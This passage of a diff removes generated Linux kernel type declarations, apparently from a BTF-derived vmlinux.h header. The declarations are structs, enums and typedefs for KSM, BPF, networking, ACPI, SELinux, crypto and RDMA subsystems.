(*btf_trace_irq_matrix_alloc)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef void (*btf_trace_irq_matrix_free)(void *, int, unsigned int, struct irq_matrix *, struct cpumap *); - -typedef u64 (*btf_bpf_cgrp_storage_get)(struct bpf_map *, struct cgroup *, void *, u64, gfp_t); - -typedef u64 (*btf_bpf_cgrp_storage_delete)(struct bpf_map *, struct cgroup *); - -struct mm_slot { - struct hlist_node hash; - struct list_head mm_node; - struct mm_struct *mm; -}; - -struct ksm_rmap_item; - -struct ksm_mm_slot { - struct mm_slot slot; - struct ksm_rmap_item *rmap_list; -}; - -struct ksm_stable_node; - -struct ksm_rmap_item { - struct ksm_rmap_item *rmap_list; - union { - struct anon_vma *anon_vma; - int nid; - }; - struct mm_struct *mm; - long unsigned int address; - unsigned int oldchecksum; - union { - struct rb_node node; - struct { - struct ksm_stable_node *head; - struct hlist_node hlist; - }; - }; -}; - -struct ksm_scan { - struct ksm_mm_slot *mm_slot; - long unsigned int address; - struct ksm_rmap_item **rmap_list; - long unsigned int seqnr; -}; - -struct ksm_stable_node { - union { - struct rb_node node; - struct { - struct list_head *head; - struct { - struct hlist_node hlist_dup; - struct list_head list; - }; - }; - }; - struct hlist_head hlist; - union { - long unsigned int kpfn; - long unsigned int chain_prune_time; - }; - int rmap_hlist_len; - int nid; -}; - -enum get_ksm_page_flags { - GET_KSM_PAGE_NOLOCK = 0, - GET_KSM_PAGE_LOCK = 1, - GET_KSM_PAGE_TRYLOCK = 2, -}; - -enum netfs_read_trace { - netfs_read_trace_expanded = 0, - netfs_read_trace_readahead = 1, - netfs_read_trace_readpage = 2, - netfs_read_trace_write_begin = 3, -} __attribute__((mode(byte))); - -enum netfs_failure { - netfs_fail_check_write_begin = 0, - netfs_fail_copy_to_cache = 1, - netfs_fail_read = 2, - netfs_fail_short_read = 3, - netfs_fail_prepare_write = 4, -} __attribute__((mode(byte))); - -struct acpi_bus_type { - struct list_head list; - const char *name; - bool (*match)(struct device *); - struct acpi_device * (*find_companion)(struct device *); - void (*setup)(struct device *); -}; - -struct find_child_walk_data { - struct acpi_device *adev; - u64 address; - int score; - bool check_sta; - bool check_children; -}; - -struct aper_size_info_lvl2 { - int size; - int num_entries; - u32 size_value; -}; - -enum { - ETHTOOL_A_STRING_UNSPEC = 0, - ETHTOOL_A_STRING_INDEX = 1, - ETHTOOL_A_STRING_VALUE = 2, - __ETHTOOL_A_STRING_CNT = 3, - ETHTOOL_A_STRING_MAX = 2, -}; - -enum { - ETHTOOL_A_STRINGS_UNSPEC = 0, - ETHTOOL_A_STRINGS_STRING = 1, - __ETHTOOL_A_STRINGS_CNT = 2, - ETHTOOL_A_STRINGS_MAX = 1, -}; - -enum { - ETHTOOL_A_STRINGSET_UNSPEC = 0, - ETHTOOL_A_STRINGSET_ID = 1, - ETHTOOL_A_STRINGSET_COUNT = 2, - ETHTOOL_A_STRINGSET_STRINGS = 3, - __ETHTOOL_A_STRINGSET_CNT = 4, - ETHTOOL_A_STRINGSET_MAX = 3, -}; - -enum { - ETHTOOL_A_STRINGSETS_UNSPEC = 0, - ETHTOOL_A_STRINGSETS_STRINGSET = 1, - __ETHTOOL_A_STRINGSETS_CNT = 2, - ETHTOOL_A_STRINGSETS_MAX = 1, -}; - -struct strset_info { - bool per_dev; - bool free_strings; - unsigned int count; - const char (*strings)[32]; -}; - -struct strset_req_info { - struct ethnl_req_info base; - u32 req_ids; - bool counts_only; -}; - -struct strset_reply_data { - struct ethnl_reply_data base; - struct strset_info sets[21]; -}; - -struct tcp_plb_state { - u8 consec_cong_rounds: 5; - u8 unused: 3; - u32 pause_until; -}; - -enum { - UDP_BPF_IPV4 = 0, - UDP_BPF_IPV6 = 1, - UDP_BPF_NUM_PROTS = 2, -}; - -struct mptcp_pernet { - struct ctl_table_header *ctl_table_hdr; - unsigned int add_addr_timeout; - unsigned int stale_loss_cnt; - u8 mptcp_enabled; - u8 checksum_enabled; - u8 allow_join_initial_addr_port; - u8 pm_type; -}; - -struct arch_optimized_insn { - kprobe_opcode_t copied_insn[4]; - kprobe_opcode_t *insn; - size_t size; -}; - -struct kprobe_blacklist_entry { - struct list_head list; - long unsigned int start_addr; - long unsigned int end_addr; -}; - -struct optimized_kprobe { - struct kprobe kp; - struct list_head list; - struct arch_optimized_insn optinsn; -}; - -struct kprobe_insn_page { - struct list_head list; - kprobe_opcode_t *insns; - struct kprobe_insn_cache *cache; - int nused; - int ngarbage; - char slot_used[0]; -}; - -enum kprobe_slot_state { - SLOT_CLEAN = 0, - SLOT_DIRTY = 1, - SLOT_USED = 2, -}; - -struct bpf_iter_target_info { - struct list_head list; - const struct bpf_iter_reg *reg_info; - u32 btf_id; -}; - -struct bpf_iter_link { - struct bpf_link link; - struct bpf_iter_aux_info aux; - struct bpf_iter_target_info *tinfo; -}; - -struct bpf_iter_priv_data { - struct bpf_iter_target_info *tinfo; - const struct bpf_iter_seq_info *seq_info; - struct bpf_prog *prog; - u64 session_id; - u64 seq_num; - bool done_stop; - long: 0; - u8 target_private[0]; -}; - -typedef u64 (*btf_bpf_for_each_map_elem)(struct bpf_map *, void *, void *, u64); - -typedef u64 (*btf_bpf_loop)(u32, void *, void *, u64); - -typedef struct { - long unsigned int fds_bits[16]; -} __kernel_fd_set; - -typedef __kernel_fd_set fd_set; - -struct poll_table_entry { - struct file *filp; - __poll_t key; - wait_queue_entry_t wait; - wait_queue_head_t *wait_address; -}; - -struct poll_table_page; - -struct poll_wqueues { - poll_table pt; - struct poll_table_page *table; - struct task_struct *polling_task; - int triggered; - int error; - int inline_index; - struct poll_table_entry inline_entries[9]; -}; - -struct poll_table_page { - struct poll_table_page *next; - struct poll_table_entry *entry; - struct poll_table_entry entries[0]; -}; - -enum poll_time_type { - PT_TIMEVAL = 0, - PT_OLD_TIMEVAL = 1, - PT_TIMESPEC = 2, - PT_OLD_TIMESPEC = 3, -}; - -typedef struct { - long unsigned int *in; - long unsigned int *out; - long unsigned int *ex; - long unsigned int *res_in; - long unsigned int *res_out; - long unsigned int *res_ex; -} fd_set_bits; - -struct sigset_argpack { - sigset_t *p; - size_t size; -}; - -struct poll_list { - struct poll_list *next; - int len; - struct pollfd entries[0]; -}; - -enum { - SELNL_MSG_SETENFORCE = 16, - SELNL_MSG_POLICYLOAD = 17, - SELNL_MSG_MAX = 18, -}; - -enum selinux_nlgroups { - SELNLGRP_NONE = 0, - SELNLGRP_AVC = 1, - __SELNLGRP_MAX = 2, -}; - -struct selnl_msg_setenforce { - __s32 val; -}; - -struct selnl_msg_policyload { - __u32 seqno; -}; - -struct ahash_alg { - int (*init)(struct ahash_request *); - int (*update)(struct ahash_request *); - int (*final)(struct ahash_request *); - int (*finup)(struct ahash_request *); - int (*digest)(struct ahash_request *); - int (*export)(struct ahash_request *, void *); - int (*import)(struct ahash_request *, const void *); - int (*setkey)(struct crypto_ahash *, const u8 *, unsigned int); - int (*init_tfm)(struct crypto_ahash *); - void (*exit_tfm)(struct crypto_ahash *); - struct hash_alg_common halg; -}; - -struct crypto_hash_walk { - char *data; - unsigned int offset; - unsigned int alignmask; - struct page *pg; - unsigned int entrylen; - unsigned int total; - struct scatterlist *sg; - unsigned int flags; -}; - -struct ahash_instance { - void (*free)(struct ahash_instance *); - union { - struct { - char head[88]; - struct crypto_instance base; - } s; - struct ahash_alg alg; - }; -}; - -struct crypto_report_hash { - char type[64]; - unsigned int blocksize; - unsigned int digestsize; -}; - -struct ahash_request_priv { - crypto_completion_t complete; - void *data; - u8 *result; - u32 flags; - void *ubuf[0]; -}; - -struct blk_iolatency { - struct rq_qos rqos; - struct timer_list timer; - bool enabled; - atomic_t enable_cnt; - struct work_struct enable_work; -}; - -struct iolatency_grp; - -struct child_latency_info { - spinlock_t lock; - u64 last_scale_event; - u64 scale_lat; - u64 nr_samples; - struct iolatency_grp *scale_grp; - atomic_t scale_cookie; -}; - -struct percentile_stats { - u64 total; - u64 missed; -}; - -struct latency_stat { - union { - struct percentile_stats ps; - struct blk_rq_stat rqs; - }; -}; - -struct iolatency_grp { - struct blkg_policy_data pd; - struct latency_stat *stats; - struct latency_stat cur_stat; - struct blk_iolatency *blkiolat; - struct rq_depth rq_depth; - struct rq_wait rq_wait; - atomic64_t window_start; - atomic_t scale_cookie; - u64 min_lat_nsec; - u64 cur_win_nsec; - u64 lat_avg; - u64 nr_samples; - bool ssd; - struct child_latency_info child_lat; -}; - -struct pci_slot_attribute { - struct attribute attr; - ssize_t (*show)(struct pci_slot *, char *); - ssize_t (*store)(struct pci_slot *, const char *, size_t); -}; - -struct acpi_get_devices_info { - acpi_walk_callback user_function; - void *context; - const char *hid; -}; - -struct throttling_tstate { - unsigned int cpu; - int target_state; -}; - -struct acpi_processor_throttling_arg { - struct acpi_processor *pr; - int target_state; - bool force; -}; - -struct pericom8250 { - void *virt; - unsigned int nr; - int line[0]; -}; - -enum nf_ct_tcp_action { - NFCT_TCP_IGNORE = 0, - NFCT_TCP_INVALID = 1, - NFCT_TCP_ACCEPT = 2, -}; - -enum tcp_bit_set { - TCP_SYN_SET = 0, - TCP_SYNACK_SET = 1, - TCP_FIN_SET = 2, - TCP_ACK_SET = 3, - TCP_RST_SET = 4, - TCP_NONE_SET = 5, -}; - -struct trace_event_raw_irq_handler_entry { - struct trace_entry ent; - int irq; - u32 __data_loc_name; - char __data[0]; -}; - -struct trace_event_raw_irq_handler_exit { - struct trace_entry ent; - int irq; - int ret; - char __data[0]; -}; - -struct trace_event_raw_softirq { - struct trace_entry ent; - unsigned int vec; - char __data[0]; -}; - -struct trace_event_data_offsets_irq_handler_entry { - u32 name; -}; - -struct trace_event_data_offsets_irq_handler_exit {}; - -struct trace_event_data_offsets_softirq {}; - -typedef void (*btf_trace_irq_handler_entry)(void *, int, struct irqaction *); - -typedef void (*btf_trace_irq_handler_exit)(void *, int, struct irqaction *, int); - -typedef void (*btf_trace_softirq_entry)(void *, unsigned int); - -typedef void (*btf_trace_softirq_exit)(void *, unsigned int); - -typedef void (*btf_trace_softirq_raise)(void *, unsigned int); - -struct tasklet_head { - struct tasklet_struct *head; - struct tasklet_struct **tail; -}; - -enum { - BPF_F_SYSCTL_BASE_NAME = 1, -}; - -struct bpf_sockopt_buf { - u8 data[32]; -}; - -struct bpf_cgroup_link { - struct bpf_link link; - struct cgroup *cgroup; - enum bpf_attach_type type; -}; - -struct bpf_prog_list { - struct hlist_node node; - struct bpf_prog *prog; - struct bpf_cgroup_link *link; - struct bpf_cgroup_storage *storage[2]; -}; - -struct cgroup_lsm_atype { - u32 attach_btf_id; - int refcnt; -}; - -typedef u64 (*btf_bpf_get_local_storage)(struct bpf_map *, u64); - -typedef u64 (*btf_bpf_get_retval)(); - -typedef u64 (*btf_bpf_set_retval)(int); - -typedef u64 (*btf_bpf_sysctl_get_name)(struct bpf_sysctl_kern *, char *, size_t, u64); - -typedef u64 (*btf_bpf_sysctl_get_current_value)(struct bpf_sysctl_kern *, char *, size_t); - -typedef u64 (*btf_bpf_sysctl_get_new_value)(struct bpf_sysctl_kern *, char *, size_t); - -typedef u64 (*btf_bpf_sysctl_set_new_value)(struct bpf_sysctl_kern *, const char *, size_t); - -typedef u64 (*btf_bpf_get_netns_cookie_sockopt)(struct bpf_sockopt_kern *); - -struct crypto_aes_ctx { - u32 key_enc[60]; - u32 key_dec[60]; - u32 key_length; -}; - -struct io_poll_update { - struct file *file; - u64 old_user_data; - u64 new_user_data; - __poll_t events; - bool update_events; - bool update_user_data; -}; - -struct io_poll_table { - struct poll_table_struct pt; - struct io_kiocb *req; - int nr_entries; - int error; - bool owning; - __poll_t result_mask; -}; - -enum { - IOU_POLL_DONE = 0, - IOU_POLL_NO_ACTION = 1, - IOU_POLL_REMOVE_POLL_USE_RES = 2, -}; - -struct pcie_pme_service_data { - spinlock_t lock; - struct pcie_device *srv; - struct work_struct work; - bool noirq; -}; - -struct acpi_table_ecdt { - struct acpi_table_header header; - struct acpi_generic_address control; - struct acpi_generic_address data; - u32 uid; - u8 gpe; - u8 id[1]; -} __attribute__((packed)); - -enum acpi_ec_event_state { - EC_EVENT_READY = 0, - EC_EVENT_IN_PROGRESS = 1, - EC_EVENT_COMPLETE = 2, -}; - -struct transaction; - -struct acpi_ec { - acpi_handle handle; - int gpe; - int irq; - long unsigned int command_addr; - long unsigned int data_addr; - bool global_lock; - long unsigned int flags; - long unsigned int reference_count; - struct mutex mutex; - wait_queue_head_t wait; - struct list_head list; - struct transaction *curr; - spinlock_t lock; - struct work_struct work; - long unsigned int timestamp; - enum acpi_ec_event_state event_state; - unsigned int events_to_process; - unsigned int events_in_progress; - unsigned int queries_in_progress; - bool busy_polling; - unsigned int polling_guard; -}; - -struct transaction { - const u8 *wdata; - u8 *rdata; - short unsigned int irq_count; - u8 command; - u8 wi; - u8 ri; - u8 wlen; - u8 rlen; - u8 flags; -}; - -typedef int (*acpi_ec_query_func)(void *); - -enum ec_command { - ACPI_EC_COMMAND_READ = 128, - ACPI_EC_COMMAND_WRITE = 129, - ACPI_EC_BURST_ENABLE = 130, - ACPI_EC_BURST_DISABLE = 131, - ACPI_EC_COMMAND_QUERY = 132, -}; - -enum { - EC_FLAGS_QUERY_ENABLED = 0, - EC_FLAGS_EVENT_HANDLER_INSTALLED = 1, - EC_FLAGS_EC_HANDLER_INSTALLED = 2, - EC_FLAGS_QUERY_METHODS_INSTALLED = 3, - EC_FLAGS_STARTED = 4, - EC_FLAGS_STOPPED = 5, - EC_FLAGS_EVENTS_MASKED = 6, -}; - -struct acpi_ec_query_handler { - struct list_head node; - acpi_ec_query_func func; - acpi_handle handle; - void *data; - u8 query_bit; - struct kref kref; -}; - -struct acpi_ec_query { - struct transaction transaction; - struct work_struct work; - struct acpi_ec_query_handler *handler; - struct acpi_ec *ec; -}; - -struct atkbd { - struct ps2dev ps2dev; - struct input_dev *dev; - char name[64]; - char phys[32]; - short unsigned int id; - short unsigned int keycode[512]; - long unsigned int force_release_mask[8]; - unsigned char set; - bool translated; - bool extra; - bool write; - bool softrepeat; - bool softraw; - bool scroll; - bool enabled; - unsigned char emul; - bool resend; - bool release; - long unsigned int xl_bit; - unsigned int last; - long unsigned int time; - long unsigned int err_count; - struct delayed_work event_work; - long unsigned int event_jiffies; - long unsigned int event_mask; - struct mutex mutex; - struct vivaldi_data vdata; -}; - -enum { - OD_NORMAL_SAMPLE = 0, - OD_SUB_SAMPLE = 1, -}; - -struct od_ops { - unsigned int (*powersave_bias_target)(struct cpufreq_policy *, unsigned int, unsigned int); -}; - -struct od_policy_dbs_info { - struct policy_dbs_info policy_dbs; - unsigned int freq_lo; - unsigned int freq_lo_delay_us; - unsigned int freq_hi_delay_us; - unsigned int sample_type: 1; -}; - -struct od_dbs_tuners { - unsigned int powersave_bias; -}; - -enum { - TCA_EMATCH_TREE_UNSPEC = 0, - TCA_EMATCH_TREE_HDR = 1, - TCA_EMATCH_TREE_LIST = 2, - __TCA_EMATCH_TREE_MAX = 3, -}; - -struct tcf_ematch_hdr { - __u16 matchid; - __u16 kind; - __u16 flags; - __u16 pad; -}; - -struct nf_hook_entries_rcu_head { - struct callback_head head; - void *allocation; -}; - -struct nhmsg { - unsigned char nh_family; - unsigned char nh_scope; - unsigned char nh_protocol; - unsigned char resvd; - unsigned int nh_flags; -}; - -struct nexthop_grp { - __u32 id; - __u8 weight; - __u8 resvd1; - __u16 resvd2; -}; - -enum { - NEXTHOP_GRP_TYPE_MPATH = 0, - NEXTHOP_GRP_TYPE_RES = 1, - __NEXTHOP_GRP_TYPE_MAX = 2, -}; - -enum { - NHA_UNSPEC = 0, - NHA_ID = 1, - NHA_GROUP = 2, - NHA_GROUP_TYPE = 3, - NHA_BLACKHOLE = 4, - NHA_OIF = 5, - NHA_GATEWAY = 6, - NHA_ENCAP_TYPE = 7, - NHA_ENCAP = 8, - NHA_GROUPS = 9, - NHA_MASTER = 10, - NHA_FDB = 11, - NHA_RES_GROUP = 12, - NHA_RES_BUCKET = 13, - __NHA_MAX = 14, -}; - -enum { - NHA_RES_GROUP_UNSPEC = 0, - NHA_RES_GROUP_PAD = 0, - NHA_RES_GROUP_BUCKETS = 1, - NHA_RES_GROUP_IDLE_TIMER = 2, - NHA_RES_GROUP_UNBALANCED_TIMER = 3, - NHA_RES_GROUP_UNBALANCED_TIME = 4, - __NHA_RES_GROUP_MAX = 5, -}; - -enum { - NHA_RES_BUCKET_UNSPEC = 0, - NHA_RES_BUCKET_PAD = 0, - NHA_RES_BUCKET_INDEX = 1, - NHA_RES_BUCKET_IDLE_TIME = 2, - NHA_RES_BUCKET_NH_ID = 3, - __NHA_RES_BUCKET_MAX = 4, -}; - -struct nh_config { - u32 nh_id; - u8 nh_family; - u8 nh_protocol; - u8 nh_blackhole; - u8 nh_fdb; - u32 nh_flags; - int nh_ifindex; - struct net_device *dev; - union { - __be32 ipv4; - struct in6_addr ipv6; - } gw; - struct nlattr *nh_grp; - u16 nh_grp_type; - u16 nh_grp_res_num_buckets; - long unsigned int nh_grp_res_idle_timer; - long unsigned int nh_grp_res_unbalanced_timer; - bool nh_grp_res_has_num_buckets; - bool nh_grp_res_has_idle_timer; - bool nh_grp_res_has_unbalanced_timer; - struct nlattr *nh_encap; - u16 nh_encap_type; - u32 nlflags; - struct nl_info nlinfo; -}; - -struct nh_dump_filter { - u32 nh_id; - int dev_idx; - int master_idx; - bool group_filter; - bool fdb_filter; - u32 res_bucket_nh_id; -}; - -struct rtm_dump_nh_ctx { - u32 idx; -}; - -struct rtm_dump_res_bucket_ctx { - struct rtm_dump_nh_ctx nh; - u16 bucket_index; - u32 done_nh_idx; -}; - -struct rtm_dump_nexthop_bucket_data { - struct rtm_dump_res_bucket_ctx *ctx; - struct nh_dump_filter filter; -}; - -struct fib6_gc_args { - int timeout; - int more; -}; - -enum fib6_walk_state { - FWS_S = 0, - FWS_L = 1, - FWS_R = 2, - FWS_C = 3, - FWS_U = 4, -}; - -struct fib6_walker { - struct list_head lh; - struct fib6_node *root; - struct fib6_node *node; - struct fib6_info *leaf; - enum fib6_walk_state state; - unsigned int skip; - unsigned int count; - unsigned int skip_in_node; - int (*func)(struct fib6_walker *); - void *args; -}; - -struct ipv6_route_iter { - struct seq_net_private p; - struct fib6_walker w; - loff_t skip; - struct fib6_table *tbl; - int sernum; -}; - -struct bpf_iter__ipv6_route { - union { - struct bpf_iter_meta *meta; - }; - union { - struct fib6_info *rt; - }; -}; - -struct rt6_rtnl_dump_arg { - struct sk_buff *skb; - struct netlink_callback *cb; - struct net *net; - struct fib_dump_filter filter; -}; - -struct fib6_cleaner { - struct fib6_walker w; - struct net *net; - int (*func)(struct fib6_info *, void *); - int sernum; - void *arg; - bool skip_notify; -}; - -enum { - FIB6_NO_SERNUM_CHANGE = 0, -}; - -struct fib6_dump_arg { - struct net *net; - struct notifier_block *nb; - struct netlink_ext_ack *extack; -}; - -struct fib6_nh_pcpu_arg { - struct fib6_info *from; - const struct fib6_table *table; -}; - -struct lookup_args { - int offset; - const struct in6_addr *addr; -}; - -struct pcibios_fwaddrmap { - struct list_head list; - struct pci_dev *dev; - resource_size_t fw_addr[17]; -}; - -struct pci_check_idx_range { - int start; - int end; -}; - -struct cpuid_dep { - unsigned int feature; - unsigned int depends; -}; - -struct _tlb_table { - unsigned char descriptor; - char tlb_type; - unsigned int entries; - char info[128]; -}; - -enum split_lock_detect_state { - sld_off = 0, - sld_warn = 1, - sld_fatal = 2, - sld_ratelimit = 3, -}; - -struct sku_microcode { - u8 model; - u8 stepping; - u32 microcode; -}; - -struct trace_event_raw_oom_score_adj_update { - struct trace_entry ent; - pid_t pid; - char comm[16]; - short int oom_score_adj; - char __data[0]; -}; - -struct trace_event_raw_reclaim_retry_zone { - struct trace_entry ent; - int node; - int zone_idx; - int order; - long unsigned int reclaimable; - long unsigned int available; - long unsigned int min_wmark; - int no_progress_loops; - bool wmark_check; - char __data[0]; -}; - -struct trace_event_raw_mark_victim { - struct trace_entry ent; - int pid; - char __data[0]; -}; - -struct trace_event_raw_wake_reaper { - struct trace_entry ent; - int pid; - char __data[0]; -}; - -struct trace_event_raw_start_task_reaping { - struct trace_entry ent; - int pid; - char __data[0]; -}; - -struct trace_event_raw_finish_task_reaping { - struct trace_entry ent; - int pid; - char __data[0]; -}; - -struct trace_event_raw_skip_task_reaping { - struct trace_entry ent; - int pid; - char __data[0]; -}; - -struct trace_event_raw_compact_retry { - struct trace_entry ent; - int order; - int priority; - int result; - int retries; - int max_retries; - bool ret; - char __data[0]; -}; - -struct trace_event_data_offsets_oom_score_adj_update {}; - -struct trace_event_data_offsets_reclaim_retry_zone {}; - -struct trace_event_data_offsets_mark_victim {}; - -struct trace_event_data_offsets_wake_reaper {}; - -struct trace_event_data_offsets_start_task_reaping {}; - -struct trace_event_data_offsets_finish_task_reaping {}; - -struct trace_event_data_offsets_skip_task_reaping {}; - -struct trace_event_data_offsets_compact_retry {}; - -typedef void (*btf_trace_oom_score_adj_update)(void *, struct task_struct *); - -typedef void (*btf_trace_reclaim_retry_zone)(void *, struct zoneref *, int, long unsigned int, long unsigned int, long unsigned int, int, bool); - -typedef void (*btf_trace_mark_victim)(void *, int); - -typedef void (*btf_trace_wake_reaper)(void *, int); - -typedef void (*btf_trace_start_task_reaping)(void *, int); - -typedef void (*btf_trace_finish_task_reaping)(void *, int); - -typedef void (*btf_trace_skip_task_reaping)(void *, int); - -typedef void (*btf_trace_compact_retry)(void *, int, enum compact_priority, enum compact_result, int, int, bool); - -struct ext4_filename { - const struct qstr *usr_fname; - struct fscrypt_str disk_name; - struct dx_hash_info hinfo; -}; - -struct nlmsg_perm { - u16 nlmsg_type; - u32 perm; -}; - -struct selinux_mapping; - -struct selinux_map { - struct selinux_mapping *mapping; - u16 size; -}; - -struct selinux_policy { - struct sidtab *sidtab; - struct policydb policydb; - struct selinux_map map; - u32 latest_granting; -}; - -struct selinux_policy_convert_data; - -struct selinux_load_state { - struct selinux_policy *policy; - struct selinux_policy_convert_data *convert_data; -}; - -struct convert_context_args { - struct selinux_state *state; - struct policydb *oldp; - struct policydb *newp; -}; - -struct selinux_policy_convert_data { - struct convert_context_args args; - struct sidtab_convert_params sidtab_params; -}; - -struct selinux_mapping { - u16 value; - unsigned int num_perms; - u32 perms[32]; -}; - -struct selinux_audit_rule { - u32 au_seqno; - struct context au_ctxt; -}; - -struct dim_sample { - ktime_t time; - u32 pkt_ctr; - u32 byte_ctr; - u16 event_ctr; - u32 comp_ctr; -}; - -struct dim_stats { - int ppms; - int bpms; - int epms; - int cpms; - int cpe_ratio; -}; - -struct dim { - u8 state; - struct dim_stats prev_stats; - struct dim_sample start_sample; - struct dim_sample measuring_sample; - struct work_struct work; - void *priv; - u8 profile_ix; - u8 mode; - u8 tune_state; - u8 steps_right; - u8 steps_left; - u8 tired; -}; - -enum rdma_nl_counter_mode { - RDMA_COUNTER_MODE_NONE = 0, - RDMA_COUNTER_MODE_AUTO = 1, - RDMA_COUNTER_MODE_MANUAL = 2, - RDMA_COUNTER_MODE_MAX = 3, -}; - -enum rdma_nl_counter_mask { - RDMA_COUNTER_MASK_QP_TYPE = 1, - RDMA_COUNTER_MASK_PID = 2, -}; - -enum rdma_restrack_type { - RDMA_RESTRACK_PD = 0, - RDMA_RESTRACK_CQ = 1, - RDMA_RESTRACK_QP = 2, - RDMA_RESTRACK_CM_ID = 3, - RDMA_RESTRACK_MR = 4, - RDMA_RESTRACK_CTX = 5, - RDMA_RESTRACK_COUNTER = 6, - RDMA_RESTRACK_SRQ = 7, - RDMA_RESTRACK_MAX = 8, -}; - -struct rdma_restrack_entry { - bool valid; - u8 no_track: 1; - struct kref kref; - struct completion comp; - struct task_struct *task; - const char *kern_name; - enum rdma_restrack_type type; - bool user; - u32 id; -}; - -struct rdma_link_ops { - struct list_head list; - const char *type; - int (*newlink)(const char *, struct net_device *); -}; - -struct auto_mode_param { - int qp_type; -}; - -struct rdma_counter_mode { - enum rdma_nl_counter_mode mode; - enum rdma_nl_counter_mask mask; - struct auto_mode_param param; -}; - -struct rdma_hw_stats; - -struct rdma_port_counter { - struct rdma_counter_mode mode; - struct rdma_hw_stats *hstats; - unsigned int num_counters; - struct mutex lock; -}; - -struct rdma_stat_desc; - -struct rdma_hw_stats { - struct mutex lock; - long unsigned int timestamp; - long unsigned int lifespan; - const struct rdma_stat_desc *descs; - long unsigned int *is_disabled; - int num_counters; - u64 value[0]; -}; - -struct rdma_counter { - struct rdma_restrack_entry res; - struct ib_device *device; - uint32_t id; - struct kref kref; - struct rdma_counter_mode mode; - struct mutex lock; - struct rdma_hw_stats *stats; - u32 port; -}; - -enum rdma_driver_id { - RDMA_DRIVER_UNKNOWN = 0, - RDMA_DRIVER_MLX5 = 1, - RDMA_DRIVER_MLX4 = 2, - RDMA_DRIVER_CXGB3 = 3, - RDMA_DRIVER_CXGB4 = 4, - RDMA_DRIVER_MTHCA = 5, - RDMA_DRIVER_BNXT_RE = 6, - RDMA_DRIVER_OCRDMA = 7, - RDMA_DRIVER_NES = 8, - RDMA_DRIVER_I40IW = 9, - RDMA_DRIVER_IRDMA = 9, - RDMA_DRIVER_VMW_PVRDMA = 10, - RDMA_DRIVER_QEDR = 11, - RDMA_DRIVER_HNS = 12, - RDMA_DRIVER_USNIC = 13, - RDMA_DRIVER_RXE = 14, - RDMA_DRIVER_HFI1 = 15, - RDMA_DRIVER_QIB = 16, - RDMA_DRIVER_EFA = 17, - RDMA_DRIVER_SIW = 18, - RDMA_DRIVER_ERDMA = 19, -}; - -enum ib_cq_notify_flags { - IB_CQ_SOLICITED = 1, - IB_CQ_NEXT_COMP = 2, - IB_CQ_SOLICITED_MASK = 3, - IB_CQ_REPORT_MISSED_EVENTS = 4, -}; - -struct ib_mad; - -enum rdma_link_layer { - IB_LINK_LAYER_UNSPECIFIED = 0, - IB_LINK_LAYER_INFINIBAND = 1, - IB_LINK_LAYER_ETHERNET = 2, -}; - -enum rdma_netdev_t { - RDMA_NETDEV_OPA_VNIC = 0, - RDMA_NETDEV_IPOIB = 1, -}; - -enum ib_srq_attr_mask { - IB_SRQ_MAX_WR = 1, - IB_SRQ_LIMIT = 2, -}; - -enum ib_mr_type { - IB_MR_TYPE_MEM_REG = 0, - IB_MR_TYPE_SG_GAPS = 1, - IB_MR_TYPE_DM = 2, - IB_MR_TYPE_USER = 3, - IB_MR_TYPE_DMA = 4, - IB_MR_TYPE_INTEGRITY = 5, -}; - -enum ib_uverbs_advise_mr_advice { - IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH = 0, - IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH_WRITE = 1, - IB_UVERBS_ADVISE_MR_ADVICE_PREFETCH_NO_FAULT = 2, -}; - -struct uverbs_attr_bundle; - -struct rdma_cm_id; - -struct iw_cm_id; - -struct iw_cm_conn_param; - -struct ib_qp; - -struct ib_send_wr; - -struct ib_recv_wr; - -struct ib_cq; - -struct ib_wc; - -struct ib_srq; - -struct ib_grh; - -struct ib_device_attr; - -struct ib_udata; - -struct ib_device_modify; - -struct ib_port_attr; - -struct ib_port_modify; - -struct ib_port_immutable; - -struct rdma_netdev_alloc_params; - -union ib_gid; - -struct ib_gid_attr; - -struct ib_ucontext; - -struct rdma_user_mmap_entry; - -struct ib_pd; - -struct ib_ah; - -struct rdma_ah_init_attr; - -struct rdma_ah_attr; - -struct ib_srq_init_attr; - -struct ib_srq_attr; - -struct ib_qp_init_attr; - -struct ib_qp_attr; - -struct ib_cq_init_attr; - -struct ib_mr; - -struct ib_sge; - -struct ib_mr_status; - -struct ib_mw; - -struct ib_xrcd; - -struct ib_flow; - -struct ib_flow_attr; - -struct ib_flow_action; - -struct ib_wq; - -struct ib_wq_init_attr; - -struct ib_wq_attr; - -struct ib_rwq_ind_table; - -struct ib_rwq_ind_table_init_attr; - -struct ib_dm; - -struct ib_dm_alloc_attr; - -struct ib_dm_mr_attr; - -struct ib_counters; - -struct ib_counters_read_attr; - -struct ib_device_ops { - struct module *owner; - enum rdma_driver_id driver_id; - u32 uverbs_abi_ver; - unsigned int uverbs_no_driver_id_binding: 1; - const struct attribute_group *device_group; - const struct attribute_group **port_groups; - int (*post_send)(struct ib_qp *, const struct ib_send_wr *, const struct ib_send_wr **); - int (*post_recv)(struct ib_qp *, const struct ib_recv_wr *, const struct ib_recv_wr **); - void (*drain_rq)(struct ib_qp *); - void (*drain_sq)(struct ib_qp *); - int (*poll_cq)(struct ib_cq *, int, struct ib_wc *); - int (*peek_cq)(struct ib_cq *, int); - int (*req_notify_cq)(struct ib_cq *, enum ib_cq_notify_flags); - int (*post_srq_recv)(struct ib_srq *, const struct ib_recv_wr *, const struct ib_recv_wr **); - int (*process_mad)(struct ib_device *, int, u32, const struct ib_wc *, const struct ib_grh *, const struct ib_mad *, struct ib_mad *, size_t *, u16 *); - int (*query_device)(struct ib_device *, struct ib_device_attr *, struct ib_udata *); - int (*modify_device)(struct ib_device *, int, struct ib_device_modify *); - void (*get_dev_fw_str)(struct ib_device *, char *); - const struct cpumask * (*get_vector_affinity)(struct ib_device *, int); - int (*query_port)(struct ib_device *, u32, struct ib_port_attr *); - int (*modify_port)(struct ib_device *, u32, int, struct ib_port_modify *); - int (*get_port_immutable)(struct ib_device *, u32, struct ib_port_immutable *); - enum rdma_link_layer (*get_link_layer)(struct ib_device *, u32); - struct net_device * (*get_netdev)(struct ib_device *, u32); - struct net_device * (*alloc_rdma_netdev)(struct ib_device *, u32, enum rdma_netdev_t, const char *, unsigned char, void (*)(struct net_device *)); - int (*rdma_netdev_get_params)(struct ib_device *, u32, enum rdma_netdev_t, struct rdma_netdev_alloc_params *); - int (*query_gid)(struct ib_device *, u32, int, union ib_gid *); - int (*add_gid)(const struct ib_gid_attr *, void **); 